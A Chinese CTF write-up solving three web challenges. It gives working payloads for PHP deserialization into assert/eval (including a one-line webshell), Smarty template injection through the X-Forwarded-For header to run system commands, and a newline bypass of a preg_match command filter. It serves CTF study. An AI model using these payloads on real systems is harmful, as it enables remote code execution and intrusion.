欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

8-14刷题(php反序列化,Smarty ssti,json命令执行)

程序员文章站 2022-05-14 08:49:51
...

[NPUCTF2020]ReadlezPHP

8-14刷题(php反序列化,Smarty ssti,json命令执行)

找到time.php?source,打开的得到time.php的源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

不包含source就可执行反序列化,试一下文件读取

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'index.php';
        $this->b = "highlight_file";
    }
}
$abc=new HelloPhp;
echo serialize($abc);

8-14刷题(php反序列化,Smarty ssti,json命令执行)

读取成功但是没什么有用的东西,试下命令执行

payload:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

8-14刷题(php反序列化,Smarty ssti,json命令执行)

 看到禁用了system等一些命令函数,当时想的是构造一个一句话连上去用LD_PRELOAD来执行命令

一句话:O:8:"HelloPhp":2:{s:1:"a";s:16:"eval($_POST[1]);";s:1:"b";s:6:"assert";}

但是连上去之后啥都没有,后来在phpinfo里找到了flag

8-14刷题(php反序列化,Smarty ssti,json命令执行)

[CISCN2019 华东南赛区]Web11

8-14刷题(php反序列化,Smarty ssti,json命令执行)

 Smarty框架,注意右上角获取ip的,可能在xff有注入,试一下ssti {{7*7}}显示49存在注入

先看一下Smarty的版本 {$smarty.version}

版本是3.1.30

这里我们用if标签来注入 参考了Smarty ssti

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等

{if phpinfo()}{/if}

8-14刷题(php反序列化,Smarty ssti,json命令执行)

成功执行,同时我们在禁用函数里看到没有函数被禁用那么直接system读就可以了

{if system('echo `ls /`')}{/if}
{if system('cat /flag')}{/if}

8-14刷题(php反序列化,Smarty ssti,json命令执行)

[FBCTF2019]RCEService

json格式输入命令: {"cmd":"ls"}回显index.php但是不能cat估计过滤了

后来看其他人的博客才知道原本是给源码的

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;aaa@qq.com\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

过滤非常严格,但是preg_match可以用换行绕过

注意8-14刷题(php反序列化,Smarty ssti,json命令执行),ls可以用但是cat不行,所以要改变一下思路,先看一下当前目录有什么

?cmd={%0A"cmd": "ls /home/rceservice/"%0A}

8-14刷题(php反序列化,Smarty ssti,json命令执行)

cat在/bin目录下我们绝对目录命令就可以了

?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}